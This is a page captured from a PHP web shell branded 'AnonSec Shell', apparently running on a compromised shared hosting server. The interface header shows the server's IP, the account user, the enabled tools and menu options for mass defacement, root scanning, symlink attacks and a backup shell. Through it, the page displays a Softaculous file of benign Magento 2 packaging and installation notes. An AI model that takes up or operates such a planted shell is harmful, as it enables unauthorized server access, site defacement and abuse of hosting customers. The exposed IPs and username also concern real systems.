AnonSec Shell
Server IP : 162.0.209.157  /  Your IP : 3.135.193.166   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux premium178.web-hosting.com 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : balaoqob ( 2395)
PHP Version : 8.0.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/softaculous/magento2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/softaculous/magento2/Notes.txt
1) Install twice manually, with and without sample data. Always check the difference between packages of with and without sample data and make sampledata.zip accordingly.
2) Select "Db" for saving session storage while installation on manual.(we had changed session storage to "Files" from magento 2.2.4 as it was giving error on accessing System -> Tools -> Web Setup Wizard (Not required since 2.3.0))
3) Select Timezone America/NewYork
4) Just check that "USING BTREE" should be on the left i.e. not at the end
5) Always check the file permissions
6) Check and copy pub/media/theme folder from manual to zip and check name of the images. It should match with entry in SQL.(without sample data)
7) Check and copy pub/media/* folder from manual to sampledata.zip and check name of the images. It should match with entry in SQL. (with sample data)
8) Take dump using mysql command /usr/local/apps/mysql56/bin/mysqldump --routines -u root -ppass soft_mage282 > mage282.sql
9) set WRITEABLE_DIRECTORY_MODE = 0755; and WRITEABLE_FILE_MODE = 0644; in vendor/magento/framework/Filesystem/DriverInterface.php and then start with manual installation.  (NOT REQUIRED FROM 2.0.7)
10) "hash_config" values in indexer_state table is same for all installation from 2.1.0, hence no need to change this values.
11) We have disabled magento 2.x on windows because icons are not loading properly post login. This is happening because it redirects to symlinks to load all the icons and on windows symlinks are not created and also as per their requirement, magento 2.x is not supported on windows OS.
12) PHP REQUIREMENT LINK: https://devdocs.magento.com/guides/v2.3/install-gde/system-requirements-tech.html , 
2.3.7 is dependent on PHP 7.4 only mentioned in following docs https://devdocs.magento.com/release/lifecycle-policy.html

13) Magento 2.2.2 requires Apache mod_version to be enabled.
14) Upgrade is not possible at present because magento2 uses either system's upgrade utility or the command line upgrade. http://devdocs.magento.com/guides/v2.2/comp-mgr/bk-compman-upgrade-guide.html
15) Change "<item name="view_preprocessed" xsi:type="object">Magento\Framework\App\View\Asset\MaterializationStrategy\Symlink</item>" from di.xml "<item name="view_preprocessed" xsi:type="object">Magento\Framework\App\View\Asset\MaterializationStrategy\Copy</item>" to disable symlink, it copies file to required place instead of making symlinks.
16) Move all Triggers and DELIMITERS to the end of sql.
17) Remove DEFINER=`root`@`localhost` from SQL file.
18) [IMPORTANT] We have to maintain two copies of .htaccess i.e. for Apache 2.2 and 2.4:( Not required since 2.3.4 as script has handled the .htaccess code for both the apache versions.)
For Apache 2.2 files will be :
.htaccess -> .htaccess
pub_.htaccess -> pub/.htaccess
pubstatic_.htaccess -> pub/static/.htaccess

For Apache 2.4 files will be :
apache24/.htaccess -> .htaccess
apache24/pub_.htaccess -> pub/.htaccess
apache24/pubstatic_.htaccess -> pub/static/.htaccess

1. Replace :
SetEnv 
with :
<IfModule mod_env.c>
    SetEnv 
</IfModule>

2. Replace :
<IfVersion
</IfVersion>
with :
(For apache 2.2)

order allow,deny
deny from all

(For apache 2.4)
Require all denied

############## MAGENTO 2.3.x new notes ##############
From 2.3.7-p4 we use these notes, since tar packages are no more available and its mentioned to use composer packages
https://devdocs.magento.com/guides/v2.3/install-gde/install-flow-diagram.html

1 Download the package using following command.
php composer.phar create-project --repository-url=https://repo.magento.com/ magento/project-community-edition={{version}} [[path]]

add sample data to it using following command.
bin/magento sampledata:deploy

2. Login to https://repo.magento.com/ and get access keys
use public key as username and private key as password for downloading package.


3. Use following command to install Magento 2.3 . Check parameters if anything needs to be added or removed. https://devdocs.magento.com/guides/v2.3/install-gde/composer.html#install-magento

./bin/magento setup:install --base-url=http://abc.com/{{subdir}} --db-host=localhost --db-name=magento237p4  --db-user=root  --db-password=mysql --db-prefix=prmg_ --admin-firstname=admin --admin-lastname=lastname --admin-email=a@a.com --admin-user=admin --admin-password=password --language=en_US --currency=USD --timezone=America/New_York --use-rewrites=1 --session-save=db --use-secure=1 --use-secure-admin=1 --cleanup-database

Anon7 - 2022
AnonSec Team